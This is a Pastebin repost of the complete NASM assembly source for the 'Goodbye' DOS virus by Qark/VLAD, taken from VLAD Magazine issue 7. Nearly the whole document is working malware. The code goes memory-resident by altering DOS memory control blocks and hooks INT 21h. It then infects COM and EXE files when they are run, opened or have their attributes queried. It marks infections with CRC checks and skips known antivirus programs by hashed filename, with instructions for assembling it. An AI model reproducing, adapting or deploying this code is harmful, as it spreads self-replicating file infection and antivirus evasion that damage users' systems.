Advertisement
FlyFar

VLAD Magazine - Issue #7 - ARTICLE.2_2 - Goodbye Virus Virus Source Code

Jul 2nd, 2023
1,375
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
ASM (NASM) 11.01 KB | Cybersecurity | 0 0
  1. ;       Goodbye!
  2. ;       by Qark/VLAD
  3. ;
  4. ; This virus is to say goodbye to all my friends in the virus scene.
  5. ;
  6. ;
  7. ; Infects EXE's and COM's, using CRC32 on any data comparisons.
  8. ;
  9. ; Ideas stolen from Zhengxi - but not the code!
  10. ;
  11. ; Compile with a86 as ever.
  12. ;
  13.  
  14.         org     0
  15.  
  16.         ;Below is stupid stuff
  17.         sub     ax,ax
  18.         mov     cx,ax
  19.         dec     ax
  20.         sub     ch,al
  21.         mov     dx,cx
  22.         rol     cx,1
  23.         mov     dl,al
  24.         div     cx
  25.         div     cx
  26.         div     cx
  27.         div     cx
  28.         div     cx
  29.         dec     cx
  30.         add     dx,ax
  31.         div     cx
  32.         div     cx
  33.         div     cx
  34.         xchg    dx,ax
  35.  
  36.         mov     si,100h
  37.         org     $-2
  38. delta   dw      100h
  39.  
  40.         mov     ax,51bdh
  41.         int     21h
  42.         cmp     ax,0bd51h
  43.         je      notvirus
  44.  
  45.         mov     ax,ds
  46.         add     ax,dx
  47.         mov     ds,ax
  48.         xor     di,di
  49.  
  50.         cmp     byte ptr [di],'Z'
  51.         jne     notvirus
  52.  
  53.         sub     word ptr [di+3],(offset vmemsize /16)+2
  54.         sub     word ptr [di+12h],(offset vmemsize/16)+2
  55.        
  56.         ;Because so many people complained i've fixed my MCB code :)
  57.         ;UMB's now survive..
  58.         mov     byte ptr [di],'M'
  59.         add     ax,word ptr [di+3]
  60.         inc     ax
  61.         mov     ds,ax
  62.         mov     byte ptr ds:[di],'Z'
  63.         mov     word ptr ds:[di+1],8
  64.         mov     word ptr ds:[di+3],(offset vmemsize/16)+1
  65.         inc     ax
  66.  
  67.         push    es
  68.         pop     ds
  69.         mov     es,ax           ;ax=es=virus segment
  70.        
  71.         cld
  72.         push    si
  73.         mov     cx,offset vpsize
  74.         db      2eh             ;cs:
  75.         rep     movsb
  76.        
  77.         push    ds
  78.         mov     ds,cx           ;ds=0
  79.         mov     es,ax
  80.         mov     si,21h*4
  81.         mov     di,offset i21
  82.         movsw
  83.         movsw
  84.         mov     word ptr [si-4],offset virushandler
  85.         mov     word ptr [si-2],ax
  86.  
  87.         pop     ds
  88.         push    ds
  89.         pop     es
  90.         pop     si
  91. notvirus:
  92.         push    cs
  93.         pop     ds
  94.  
  95.         cmp     si,16
  96.         jb      exefile
  97.  
  98.         mov     di,101h
  99.         mov     ax,word ptr [si+orig5]
  100.         mov     word ptr [di-1],ax
  101.         mov     ax,word ptr [si+orig5+2]
  102.         mov     word ptr [di+1],ax
  103.         mov     al,byte ptr [si+orig5+4]
  104.         mov     byte ptr [di+3],al
  105.  
  106.         dec     di
  107.         xor     ax,ax
  108.         jmp     di
  109.  
  110.         db      "Goodbye everyone!",0dh,0ah
  111.         db      "Viruses were fun, but I've got other things I'd like to do",0dh,0ah
  112.         db      "Qark/VLAD",0dh,0ah
  113.  
  114. exefile:
  115.         mov     ax,es
  116.         add     ax,10h
  117.         add     word ptr cs:[si+offset exejump+2],ax
  118.         jmp     $+2
  119.         push    es
  120.         pop     ds
  121.         add     ax,0
  122.         org     $-2
  123. origss  dw      0
  124.         mov     ss,ax
  125.         mov     sp,0
  126.         org     $-2
  127. origsp  dw      0
  128.         xor     ax,ax
  129.         xor     bx,bx
  130.         xor     cx,cx
  131.         xor     dx,dx
  132.         xor     si,si
  133.         xor     di,si
  134.  
  135.         db      0eah
  136. exejump dd      0
  137.  
  138. virushandler:
  139.         xchg    ah,al
  140.         cmp     ax,0bd51h
  141.         jne     notres
  142.         iret
  143. notres:
  144.         cmp     al,4bh
  145.         je      infect
  146.         cmp     al,3dh
  147.         je      infect
  148.         cmp     al,43h
  149.         je      infect
  150. out21:
  151.         xchg    ah,al
  152.         db      0eah
  153. i21     dd      0
  154.  
  155. infect:
  156.         pushf
  157.         push    ax
  158.         push    bx
  159.         push    cx
  160.         push    dx
  161.         push    si
  162.         push    di
  163.         push    ds
  164.         push    es
  165.  
  166.         cld
  167.         cmp     ah,6ch
  168.         je      no6cchange
  169.         mov     si,dx
  170. no6cchange:
  171.         push    cs
  172.         pop     es
  173.         mov     di,offset filename
  174.         mov     ah,60h
  175.         call    int21h
  176.         jnc     goodname
  177. badname1:
  178.         jmp     badname
  179. goodname:
  180.         push    cs
  181.         pop     ds
  182.  
  183.         call    check_name
  184.         jc      badname1
  185.  
  186.         mov     dx,offset filename
  187.         mov     ax,3d02h
  188.         call    int21h
  189.         jc      badname1
  190.         xchg    bx,ax
  191.  
  192.         mov     ah,3fh
  193.         mov     cx,18h
  194.         mov     dx,offset header
  195.         call    int21h
  196.  
  197.         mov     si,offset header
  198.         mov     cx,2
  199.         call    crc16
  200.        
  201.         cmp     ax,6bb5h                ;MZ
  202.         je      infexe
  203.         cmp     ax,95fah                ;ZM
  204.         je      infexe
  205. infcom:
  206.         mov     si,offset header
  207.         mov     cx,5
  208.         call    crc16
  209.         or      ax,ax
  210.         jz      badclose                 ;Infected!
  211.  
  212.         call    lseekend
  213.  
  214.         or      dx,dx
  215.         jnz     badclose
  216.         cmp     ax,64000
  217.         ja      badclose
  218.         cmp     ax,1001
  219.         jb      badclose
  220.  
  221.         push    ax
  222.         sub     ax,3
  223.         mov     word ptr combyte+1,ax
  224.         pop     ax
  225.         add     ax,100h
  226.         mov     word ptr delta,ax
  227.  
  228.         mov     ah,40h
  229.         mov     cx,offset vpsize
  230.         xor     dx,dx
  231.         call    int21h
  232.         jc      badclose
  233.        
  234.         call    lseek0
  235.  
  236.         ;to mark infection, crc check the e9,xx,xx and put the crc
  237.         ;after it, before writing to file.
  238.  
  239.         mov     si,offset combyte
  240.         mov     cx,3
  241.         call    crc16
  242.  
  243.         mov     word ptr combyte+3,ax
  244.  
  245.         mov     ah,40h
  246.         mov     cx,5
  247.         mov     dx,offset combyte
  248.         call    int21h
  249.        
  250. badclose:
  251.         mov     ah,3eh
  252.         call    int21h
  253.         jmp     badname
  254. infexe:
  255.         mov     si,offset header
  256.         mov     cx,14h
  257.         call    crc16
  258.         or      ax,ax
  259.         jz      badclose                 ;already infected
  260.        
  261.         cmp     word ptr [si+18h],40h
  262.         je      badclose
  263.         cmp     word ptr [si+0ch],-1
  264.         jne     badclose
  265.  
  266.         mov     ax,word ptr [si+0eh]
  267.         mov     word ptr origss,ax
  268.         mov     ax,word ptr [si+10h]
  269.         mov     word ptr origsp,ax
  270.  
  271.         mov     ax,word ptr [si+14h]
  272.         mov     word ptr exejump,ax
  273.         mov     ax,word ptr [si+16h]
  274.         mov     word ptr exejump+2,ax
  275.  
  276.         call    lseekend
  277.         mov     cx,16
  278.         div     cx
  279.         sub     ax,word ptr [si+8]
  280.         mov     word ptr [si+14h],dx
  281.         mov     word ptr [si+16h],ax
  282.         mov     word ptr delta,dx
  283.         add     dx,offset vmemsize
  284.         and     dx,0fffeh
  285.         inc     ax
  286.  
  287.         mov     word ptr [si+0eh],ax
  288.         mov     word ptr [si+10h],dx
  289.  
  290.         mov     ah,40h
  291.         mov     cx,offset vpsize
  292.         xor     dx,dx
  293.         call    int21h
  294.         jc      badclose
  295.  
  296.         call    lseekend
  297.  
  298.         mov     cx,512
  299.         div     cx
  300.         or      dx,dx
  301.         jz      nopagefix
  302.         inc     ax
  303. nopagefix:
  304.         mov     word ptr [si+4],ax
  305.         mov     word ptr [si+2],dx
  306.  
  307.         mov     cx,12h
  308.         call    crc16
  309.         mov     word ptr [si+12h],ax
  310.  
  311.         call    lseek0
  312.  
  313.         mov     ah,40h
  314.         mov     cx,1ch
  315.         mov     dx,si
  316.         call    int21h
  317.         jmp     badclose
  318.  
  319. badname:
  320.         pop     es
  321.         pop     ds
  322.         pop     di
  323.         pop     si
  324.         pop     dx
  325.         pop     cx
  326.         pop     bx
  327.         pop     ax
  328.         popf
  329.         jmp     out21
  330.  
  331.  
  332. ;;;;---------->
  333. lseekend:
  334.         mov     ax,4202h
  335.         jmp     lseek
  336. lseek0:
  337.         mov     ax,4200h
  338. lseek:
  339.         xor     cx,cx
  340.         cwd
  341.         call    int21h
  342.         ret
  343. ;;;;---------->
  344. check_name:
  345.         mov     si,offset filename
  346.         cmp     byte ptr [si+2],'/'     ;"CON" etc gives a reverse slash.
  347.         je      fail_name               ;Will mess up my backslash checking
  348.                                         ;if a program tries to open one.
  349. findstrend:
  350.         lodsb
  351.         cmp     al,0
  352.         jne     findstrend
  353.         dec     si
  354.         mov     word ptr zpointer,si
  355.         std
  356. findslend:
  357.         lodsb
  358.         cmp     al,'\'
  359.         jne     findslend
  360.         cld
  361.         lodsw
  362.         mov     word ptr fpointer,si
  363.         ;si points to file name name.ext hopefully
  364.  
  365.         mov     cx,word ptr zpointer
  366.         sub     cx,si
  367.  
  368.         call    crc16
  369.         ;ax = crc value
  370.         cmp     ax,0bd8h                ;tbscan.exe
  371.         je      fail_name
  372.         cmp     ax,0f07fh               ;avp.exe
  373.         je      fail_name
  374.         cmp     ax,5e88h                ;f-prot.exe
  375.         je      fail_name
  376.         cmp     ax,3cb2h                ;scan.exe
  377.         je      fail_name
  378.         cmp     ax,86a5h                ;dv.exe
  379.         je      fail_name
  380.         cmp     ax,0ba8eh               ;progman.exe
  381.         je      fail_name
  382.  
  383.         mov     si,word ptr zpointer
  384.         cmp     byte ptr [si-4],'.'
  385.         jne     fail_name
  386.  
  387.         sub     si,3
  388.         mov     cx,3
  389.         call    crc16
  390.  
  391.         cmp     ax,0e6ebh               ;exe
  392.         je      pass_name
  393.         cmp     ax,0d105h               ;com
  394.         je      pass_name
  395.         jmp     fail_name
  396.  
  397. pass_name:
  398.         clc
  399.         ret
  400. fail_name:
  401.         stc
  402.         ret
  403. ;;;;---------->
  404. crc16   proc    near
  405. ;on entry cx=number of bytes to checksum
  406. ;         si=pointer to bytes
  407. ;on exit ax contains the checksum
  408. ;I stole this code from some PD sources I got off a BBS.
  409.  
  410.         push    bx
  411.         push    cx
  412.         push    si
  413.         push    di
  414.  
  415.         call    gentable
  416.  
  417.         xor     ax,ax
  418. crc16loop:
  419.         xor     bh,bh
  420.         mov     bl,al
  421.         lodsb
  422.         xor     bl,al
  423.         shl     bx,1
  424.         mov     bx,word ptr [bx+crc16tab]
  425.         xor     bl,ah
  426.         mov     ax,bx
  427.         loop    crc16loop
  428.  
  429.         pop     di
  430.         pop     si
  431.         pop     cx
  432.         pop     bx
  433.  
  434.         ret
  435.  
  436. crc16   endp
  437. ;;;;---------->
  438. Gentable        proc    near
  439. ;Generates the 16bit crc table.
  440.  
  441.         push    ax
  442.         push    cx
  443.         push    dx
  444.         push    di
  445.  
  446.         mov     di,offset crc16tab
  447.         xor     cx,cx
  448. outgen:
  449.         xor     ax,ax
  450.         mov     al,cl
  451.         push    cx
  452.         mov     cx,8
  453. calcloop:
  454.         clc
  455.         rcr     ax,1
  456.         jnc     nocrcxor
  457.         xor     ax,0a001h
  458. nocrcxor:
  459.         loop    calcloop
  460.         mov     word ptr [di],ax
  461.         inc     di
  462.         inc     di
  463.         pop     cx
  464.         inc     cx
  465.         cmp     cx,100h
  466.         jne     outgen
  467.  
  468.         pop     di
  469.         pop     dx
  470.         pop     cx
  471.         pop     ax
  472.         ret
  473. Gentable        endp
  474. ;;;;---------->
  475. int21h:
  476.         pushf
  477.         call    dword ptr cs:i21
  478.         ret
  479. ;;;;---------->
  480.  
  481. combyte         db      0e9h,0,0,0,0
  482. header:
  483. orig5           db      0cdh,20h,0,0,0
  484. vpsize:
  485.                 db      18h - 5 dup (0)
  486.  
  487. zpointer        dw      0       ;the offset of the end of the filename
  488. fpointer        dw      0       ;the offset of the start of the filename
  489.  
  490. filename        db      128 dup (0)
  491.  
  492. crc16tab        db      100h*2 dup (0)
  493.  
  494. vmemsize:
  495.  
  496.  
Tags: virus vlad
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement